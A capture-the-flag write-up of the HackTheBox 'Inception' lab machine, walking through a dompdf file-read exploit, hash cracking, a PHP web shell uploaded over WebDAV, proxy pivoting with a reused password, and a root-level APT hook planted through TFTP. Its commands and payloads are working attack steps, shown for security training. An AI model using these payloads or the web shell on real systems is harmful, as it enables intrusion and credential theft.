Inception - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Inception is a challenging Linux box that emphasizes network pivoting, container escape techniques, and creative file access methods. The initial foothold exploits a vulnerable dompdf installation for local file inclusion, leading to WebDAV credentials that enable code execution. SSH access is gained through password reuse but requires pivoting through a Squid proxy. The privilege escalation path reveals the user is actually inside a container, requiring enumeration of the host network and exploitation of TFTP running as root combined with a scheduled apt update cron job to access the true root flag.

TL;DR: dompdf 0.6.0 LFI (CVE-2014-2383) → WebDAV creds → PHP shell → password reuse SSH via Squid proxy → container root → TFTP write + apt.conf.d hook → host root flag

Reconnaissance

Port Scanning

# Initial TCP scan
nmap -sC -sV -T4 -p- 10.10.10.67

Results:

PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
3128/tcp open  http-proxy Squid http proxy 3.5.12

The scan reveals a web server and a Squid proxy. Notably, SSH (port 22) is filtered from external access, suggesting network filtering is in place.

Service Enumeration

HTTP (Port 80)

The Apache web server hosts a basic page. Inspecting the HTML source code reveals a comment referencing /dompdf:

<!-- Still under development, adding here:
     /dompdf -->

Browsing to /dompdf/ reveals an installation of dompdf version 0.6.0, confirmed by accessing /dompdf/VERSION.

Squid Proxy (Port 3128)

The Squid proxy on port 3128 requires no authentication. Configuring proxychains to route through this proxy allows access to internal services:

# Add to /etc/proxychains.conf
# http 10.10.10.67 3128

# Scan localhost through the proxy
proxychains nmap -sT -Pn 127.0.0.1

This reveals SSH running on port 22 internally, but the Squid ACL configuration restricts CONNECT methods to certain destinations.

Vulnerability Assessment

1. dompdf 0.6.0 - Vulnerable to Local File Inclusion (CVE-2014-2383, exploit-db 33004)
2. Squid proxy misconfiguration - Allows pivoting to internal services
3. WebDAV - Potential file upload vector if credentials can be obtained

Initial Foothold

Exploiting dompdf LFI (CVE-2014-2383)

dompdf version 0.6.0 is vulnerable to local file inclusion through the use of PHP stream wrappers. The vulnerability allows reading arbitrary files by base64-encoding them and embedding them in a generated PDF.

# Exploit URL format
# http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd

# First, enumerate Apache configuration
curl "http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" -o config.pdf

Important Note: The rendered PDF clips the base64 data visually. To extract the full content:

# Decompress the PDF to access raw content streams
mutool clean -d config.pdf config_clean.pdf

# Extract the base64 string from TJ arrays and decode
# (The base64 content is embedded in the PDF's text objects)

The Apache configuration file (000-default.conf) reveals:

• WebDAV path: /webdav_test_inception
• Password file location: /var/www/html/webdav_test_inception/webdav.passwd

Extracting WebDAV Credentials

Using the same LFI technique to read the password file:

# Request the webdav.passwd file
curl "http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/var/www/html/webdav_test_inception/webdav.passwd" -o passwd.pdf

# Extract and decode to get:
# webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0

Cracking the Hash

The hash is Apache APR1-MD5 format:

# Create hash file
echo '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0' > hash.txt

# Crack with john
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Result: babygurl69

Credentials: webdav_tester:babygurl69

WebDAV Upload for RCE

WebDAV allows file uploads via the PUT method. We can upload a PHP web shell:

# Create a simple PHP shell
cat > shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF

# Upload via WebDAV using curl
curl -X PUT \
  --user "webdav_tester:babygurl69" \
  --data-binary @shell.php \
  http://10.10.10.67/webdav_test_inception/shell.php

# Verify upload and test RCE
curl "http://10.10.10.67/webdav_test_inception/shell.php?cmd=id"
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Obtaining SSH Access

Enumeration as www-data reveals WordPress configuration:

# Read wp-config.php
curl "http://10.10.10.67/webdav_test_inception/shell.php?cmd=cat%20/var/www/html/wordpress_4.8.3/wp-config.php"

# Database credentials found:
# DB_PASSWORD: VwPddNh7xMZyDQoByQL4

Testing password reuse with the user cobb (found in /etc/passwd):

# Configure proxychains to use Squid
# /etc/proxychains.conf:
# http 10.10.10.67 3128

# The Squid ACL permits CONNECT to 127.0.0.1:22
proxychains ssh cobb@127.0.0.1
# Password: VwPddNh7xMZyDQoByQL4

Success! SSH access obtained as user cobb.

User Flag

cobb@Inception:~$ cat user.txt
<redacted>

Privilege Escalation

Initial Root - Container Discovery

Checking sudo privileges:

cobb@Inception:~$ sudo -l
User cobb may run the following commands on Inception:
    (ALL : ALL) ALL

cobb@Inception:~$ sudo su -
root@Inception:~#

However, checking the root flag reveals this is not the true root:

root@Inception:~# cat root.txt
You're close! But you're still inside the Matrix...

Network enumeration confirms we’re in a container:

root@Inception:~# ip addr
# Shows IP: 192.168.0.10

root@Inception:~# ip route
default via 192.168.0.1 dev ens33
# Gateway: 192.168.0.1

Host Enumeration

The gateway at 192.168.0.1 is the actual host system. Scanning it from the container:

# Transfer nmap binary or use basic tools
root@Inception:~# for port in 21 22 23 69 80 443; do
  timeout 1 bash -c "echo >/dev/tcp/192.168.0.1/$port" 2>/dev/null && echo "$port open"
done

# Services found:
# 21 (FTP)
# 22 (SSH)
# 53 (DNS)
# 69 (TFTP)

FTP Anonymous Access

root@Inception:~# ftp 192.168.0.1
# Anonymous login: allowed
# Limited file system access, can read some files

ftp> get /etc/default/tftpd-hpa

The TFTP configuration reveals:

TFTP_USERNAME="root"
TFTP_DIRECTORY="/"
TFTP_OPTIONS="--secure --create"

Critical findings:

• TFTP runs as root
• Root directory is / (full filesystem access)
• --create flag allows file uploads

Exploiting TFTP + Cron for Root Access

FTP enumeration also reveals /etc/crontab:

ftp> get /etc/crontab

The crontab shows:

*/5 * * * * root apt update

The host runs apt update as root every 5 minutes. We can exploit this by uploading a malicious APT configuration using TFTP.

Attack Strategy:

1. Upload an APT configuration file to /etc/apt/apt.conf.d/ via TFTP
2. Use APT::Update::Pre-Invoke to execute arbitrary commands as root
3. Copy root.txt to a world-readable location
4. Download the flag via TFTP

# Create malicious APT config
cat > 00pwn << 'EOF'
APT::Update::Pre-Invoke {"cp /root/root.txt /tmp/rootflag.txt && chmod 666 /tmp/rootflag.txt"};
EOF

# Upload via TFTP
root@Inception:~# tftp 192.168.0.1
tftp> put 00pwn /etc/apt/apt.conf.d/00pwn
Sent 123 bytes in 0.1 seconds

# Wait for the cron job to run (up to 5 minutes)
# Then download the flag
tftp> get /tmp/rootflag.txt
tftp> quit

root@Inception:~# cat rootflag.txt
<redacted>

Why this works:

• TFTP running as root with --create allows arbitrary file writes
• APT configuration files in /etc/apt/apt.conf.d/ are processed by apt
• The Pre-Invoke directive executes commands before the update
• The cron job automatically triggers our payload as root

Root Flag

<redacted>

Attack Chain Summary

Port 80 (Apache 2.4.18) → dompdf 0.6.0 LFI (CVE-2014-2383)
→ Read Apache config + WebDAV passwd via php://filter
→ Crack APR1 hash (babygurl69)
→ WebDAV PUT PHP shell
→ RCE as www-data
→ Extract wp-config.php DB password
→ Password reuse: cobb SSH via Squid proxy (127.0.0.1:22)
→ User flag
→ Sudo to root (container)
→ Discover container environment (192.168.0.10)
→ Enumerate host (192.168.0.1)
→ FTP anonymous + TFTP enumeration
→ TFTP upload malicious apt.conf.d hook
→ Cron triggers apt update as root
→ Root flag via TFTP

Tools Used

Key Learnings

Techniques Practiced

• Exploiting dompdf LFI with PHP stream wrappers (php://filter)
• Extracting base64 data from PDF content streams when visually clipped
• Cracking Apache APR1-MD5 hashes
• WebDAV exploitation via PUT method for file upload
• Network pivoting through Squid proxy with ACL restrictions
• Container detection and escape techniques
• TFTP exploitation with root privileges and —create flag
• APT pre-invoke hooks for command execution
• Cron job timing attacks

Lessons Learned

1. PDF rendering is not data extraction - When exploiting LFI through dompdf, the base64 data may be clipped in the rendered output. Always decompress the PDF and extract from the raw content streams (TJ arrays) to get complete data.

2. Containers are not the end - Achieving root in a container is only the beginning. Always check network interfaces, routing tables, and look for evidence of containerization (IP addresses in private ranges, limited processes, absence of expected files).

3. TFTP with —create is dangerous - When TFTP runs as root with the --create flag and a directory of /, it provides arbitrary file write capabilities across the entire filesystem. This can be leveraged to modify system configurations.

4. APT configuration is executable - Files in /etc/apt/apt.conf.d/ support directives like Pre-Invoke and Post-Invoke that execute arbitrary commands. Combined with scheduled apt update jobs, this provides a reliable privilege escalation path.

5. Proxy ACLs can be bypassed - Squid’s ACL restricting CONNECT to external IPs can often be bypassed by connecting to localhost or internal IPs, as these may be in separate ACL rules with different permissions.

6. Password reuse is prevalent - Database passwords are frequently reused for system accounts, especially in development or testing environments. Always test discovered credentials against SSH and other services.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup drew explanatory context from the official HackTheBox writeup by Alexander Reid (Arrexel), document D18.100.02, dated 13th April 2018.